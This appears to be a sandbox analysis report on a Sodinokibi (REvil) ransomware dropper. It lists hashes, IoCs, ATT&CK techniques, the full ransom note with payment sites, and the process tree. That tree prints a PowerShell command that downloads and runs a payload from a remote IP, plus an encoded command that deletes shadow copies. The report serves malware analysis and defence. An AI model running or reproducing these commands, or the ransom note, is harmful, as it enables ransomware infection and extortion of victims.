sodinokibi | 62059583f678cc07ba6d42a856ff79d0747e13f0d1b2b6e2c75ec316bf47d686

General

Target

9842da71e658da87f135c517a3f7aba2.bat
Size

219B
MD5

5acf7c3e584d3bebc79930940e9cbb00
SHA1

37f0819fd07164c0b419c2947e43fd06a07fc83a
SHA256

62059583f678cc07ba6d42a856ff79d0747e13f0d1b2b6e2c75ec316bf47d686
SHA512

c6cdf567391326815253277475a921f2f454c434324592a63c91a9e08818806e223dcbc41e345debf124611a9df1474829bdbd11057e6120038292774ee5b5b8

Score

10^/10

ransomware sodinokibi persistence

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/9842da71e658da87f135c517a3f7aba2

Extracted

Path

C:\3b23c7o7-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 3b23c7o7. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/34FE0D736BE2A4D7 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/34FE0D736BE2A4D7 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 8/zDM04akqKnAS+bNF4ByCts/TC0bR56JDhjWYdBH899tRJRvB1pLtpNO9FvNiPd Qwd6nH3pB6sQ9NKGUzG9iiXy5uR3RqsMA+9g4HlrjZ7cIfbzpKfeBguHIfRxEmzP li8b/P8Ie8XYZi+UCn33s3/j65Zq10zmC4mEgch2VCrxJEh8VHpML1MBqFSdV5jt 90GddYrztVTieh3VeiNB65+YIf/EVRxxfs1tY/sC+b8xpYac2/vPOnbMOMWeivlh 2hcHxmQ572k6JSArf0xK51Zfp562asRhGFNzE+ArVquqiKNqv/B3veRelnnKHk1q V8PfWONClXbUZQmOSJcn/6vb6yqSPYRKgQU2/LPRDmWSdN2ZpUp/ar5KdqDfQp5H Z1B6UF/Pp1HZx7HyB7CeZhdd5EOsgq3Yt7T9l4ojp7iqVMUId06jij9q0goovzDs wCrc11jGY+czFKRiuK/KHlr9C/QnGLRXKNBTqta7FD/SkiSnVQe2ZU7gsVXzv5R5 B/cPCCs8QfUT8apPCviS5otC6bfu1mr3yid+EGvFYvh4TeIRf56kQHbaIoK4S0u4 zUheHxz1Bwp2glp3gjoxjkDprsQ6aXZtV74hnvXb4gMWcxNs90Aii5PnADLIzjrh O6Qar2c4+TYZQjSu2xX3JhTwzW1Bp9eG2jblS+pbv47eK0nzyWHzpG1GEYdYxcrT pRChdV1qxgV2BkyXtQuUq10K9S+ZS70CrLeY5kvURgD8/caE078ttCiOXPWlw2cP R49krrZ5qV+cytkMHTBETB/Lv+a21SBb8f9Dvq+YWRZdM+S28nlrl8GiLG1w2XCQ MkyoCc2Scz/f1Kv0lx4QDYZIW6wZghtxJkvx7nESI7NJEaDVLsE/xaz6mgjyFaSR PKJ6MSzdTkG756PtQO7PPjvNoIclr8qqboIGnAdA0M9E3jayWckg8XX4mTGc7vQT bbVF3n3BSgnU7ncnfmPmRe9qCSVuWzE4vKqgdRr2uVaHwveqBm/PbKT/9STfir6j 9BbbdbYYxCujW/DaeM8OmgMJ37OtkVwwyaLPjnVq9iZYTpOqKb6OWvhASY9MD5vG A9yeETEn+IDjztyqeEyVnCjtUvzg139tGbsiNel00jzE++4/Km9rjpiZdN5fju+r Z+e84PcQT+dZQuxwFI4RdrdDlM+fXgtB1qqEO6cy1Qep1eGITrjrrPRH0xPHdkDw kAKSYdza2k00n152rIPYnejigU9CnFlwApoosBwlrkbGrQTVbgz4T40EvluicIpK soFFSIvc9HLznJe8WgdxUAELGK8= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/34FE0D736BE2A4D7

http://decryptor.cc/34FE0D736BE2A4D7

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

1 3924 powershell.exe

flow	pid	process
1	3924	powershell.exe

Modifies extensions of user files 5 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

powershell.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\DenyExpand.raw => \??\c:\users\admin\pictures\DenyExpand.raw.3b23c7o7	powershell.exe
File renamed	C:\Users\Admin\Pictures\GrantCopy.raw => \??\c:\users\admin\pictures\GrantCopy.raw.3b23c7o7	powershell.exe
File renamed	C:\Users\Admin\Pictures\HideLock.crw => \??\c:\users\admin\pictures\HideLock.crw.3b23c7o7	powershell.exe
File renamed	C:\Users\Admin\Pictures\ResizeConvertTo.png => \??\c:\users\admin\pictures\ResizeConvertTo.png.3b23c7o7	powershell.exe
File renamed	C:\Users\Admin\Pictures\SwitchUnblock.crw => \??\c:\users\admin\pictures\SwitchUnblock.crw.3b23c7o7	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sv5e.bmp"	powershell.exe

Drops file in Program Files directory 14 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\DisableResolve.xml	powershell.exe
File opened for modification	\??\c:\program files\NewUnlock.vsdx	powershell.exe
File opened for modification	\??\c:\program files\RenameSwitch.kix	powershell.exe
File opened for modification	\??\c:\program files\UnlockUnpublish.potm	powershell.exe
File opened for modification	\??\c:\program files\UpdateWatch.ADTS	powershell.exe
File created	\??\c:\program files\3b23c7o7-readme.txt	powershell.exe
File created	\??\c:\program files (x86)\3b23c7o7-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\DebugAdd.fon	powershell.exe
File opened for modification	\??\c:\program files\DisconnectFormat.wpl	powershell.exe
File opened for modification	\??\c:\program files\RestartCompress.wax	powershell.exe
File opened for modification	\??\c:\program files\SkipSuspend.mp4v	powershell.exe
File opened for modification	\??\c:\program files\BlockSearch.wvx	powershell.exe
File opened for modification	\??\c:\program files\GrantMeasure.jpg	powershell.exe
File opened for modification	\??\c:\program files\PingRename.mp3	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exe

pid	process
3924	powershell.exe
3924	powershell.exe
3924	powershell.exe
3924	powershell.exe
3924	powershell.exe
3296	powershell.exe
3296	powershell.exe
3296	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	3924	powershell.exe
Token: SeDebugPrivilege	3924	powershell.exe
Token: SeDebugPrivilege	3296	powershell.exe
Token: SeBackupPrivilege	3816	vssvc.exe
Token: SeRestorePrivilege	3816	vssvc.exe
Token: SeAuditPrivilege	3816	vssvc.exe
Token: SeTakeOwnershipPrivilege	3924	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 3788 wrote to memory of 3924	3788	cmd.exe	powershell.exe
PID 3788 wrote to memory of 3924	3788	cmd.exe	powershell.exe
PID 3788 wrote to memory of 3924	3788	cmd.exe	powershell.exe
PID 3924 wrote to memory of 3296	3924	powershell.exe	powershell.exe
PID 3924 wrote to memory of 3296	3924	powershell.exe	powershell.exe
PID 3924 wrote to memory of 3296	3924	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\9842da71e658da87f135c517a3f7aba2.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3788

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/9842da71e658da87f135c517a3f7aba2');Invoke-SBNFPXFVJWUD;Start-Sleep -s 10000"
2⤵
- Blacklisted process makes network request
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3924

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3296

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:3816

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3296-13-0x0000000000000000-mapping.dmp

Download
memory/3296-27-0x00000000098B0000-0x00000000098B1000-memory.dmp

Filesize
4KB

Download
memory/3296-26-0x0000000009220000-0x0000000009221000-memory.dmp

Filesize
4KB

Download
memory/3296-24-0x0000000009290000-0x0000000009291000-memory.dmp

Filesize
4KB

Download
memory/3296-14-0x0000000073540000-0x0000000073C2E000-memory.dmp

Filesize
6.9MB

Download
memory/3924-8-0x0000000007B10000-0x0000000007B11000-memory.dmp

Filesize
4KB

Download
memory/3924-6-0x0000000007C90000-0x0000000007C91000-memory.dmp

Filesize
4KB

Download
memory/3924-7-0x0000000007D10000-0x0000000007D11000-memory.dmp

Filesize
4KB

Download
memory/3924-0-0x0000000000000000-mapping.dmp

Download
memory/3924-9-0x0000000008640000-0x0000000008641000-memory.dmp

Filesize
4KB

Download
memory/3924-10-0x0000000008400000-0x0000000008401000-memory.dmp

Filesize
4KB

Download
memory/3924-11-0x0000000009B80000-0x0000000009B81000-memory.dmp

Filesize
4KB

Download
memory/3924-12-0x0000000009100000-0x0000000009101000-memory.dmp

Filesize
4KB

Download
memory/3924-5-0x0000000007A40000-0x0000000007A41000-memory.dmp

Filesize
4KB

Download
memory/3924-4-0x0000000007270000-0x0000000007271000-memory.dmp

Filesize
4KB

Download
memory/3924-3-0x0000000007410000-0x0000000007411000-memory.dmp

Filesize
4KB

Download
memory/3924-2-0x0000000006C80000-0x0000000006C81000-memory.dmp

Filesize
4KB

Download
memory/3924-1-0x0000000073540000-0x0000000073C2E000-memory.dmp

Filesize
6.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads